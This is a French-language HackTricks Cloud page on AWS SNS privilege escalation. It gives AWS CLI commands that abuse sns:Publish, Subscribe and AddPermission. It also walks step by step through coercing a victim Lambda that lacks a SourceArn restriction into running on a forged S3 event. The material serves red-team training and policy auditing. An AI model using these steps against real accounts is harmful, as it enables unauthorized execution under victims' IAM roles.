AWS - SNS Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SNS
Pour plus d'informations, consultez :
sns:Publish
Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, pouvant potentiellement provoquer une corruption de données, déclencher des actions non désirées ou épuiser les ressources.
aws sns publish --topic-arn <value> --message <value>
Impact potentiel : Exploitation de vulnérabilités, corruption de données, actions involontaires ou épuisement des ressources.
sns:Subscribe
Un attaquant pourrait s'abonner à un SNS topic, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications qui s'appuient sur ce topic.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potential Impact: Accès non autorisé aux messages (informations sensibles), perturbation du service pour les applications s'appuyant sur le topic affecté.
sns:AddPermission
Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un topic SNS, obtenant potentiellement des autorisations supplémentaires.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Impact potentiel : accès non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications dépendant du topic.
Invoquer une Lambda en abusant d'une permission SNS générique (no SourceArn)
Si la politique basée sur les ressources d'une fonction Lambda autorise sns.amazonaws.com à l'invoquer sans restreindre le topic source (SourceArn), n'importe quel topic SNS (même dans un autre compte) peut s'abonner et déclencher la fonction. Un attaquant disposant de permissions SNS basiques peut forcer la fonction Lambda à s'exécuter sous le rôle IAM de la fonction avec des entrées contrôlées par l'attaquant.
tip
TODO : Est-ce vraiment possible entre comptes ?
Préconditions
- La politique de la Lambda victime contient une déclaration comme ci-dessous, SANS condition
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Étapes d'abus (même compte ou entre comptes)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Impact potentiel: La Lambda victime s'exécute avec son rôle IAM, traitant des entrées contrôlées par l'attaquant. Cela peut être abusé pour amener la fonction à effectuer des actions sensibles (par ex., écrire dans S3, accéder à des secrets, modifier des ressources) selon ses permissions.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud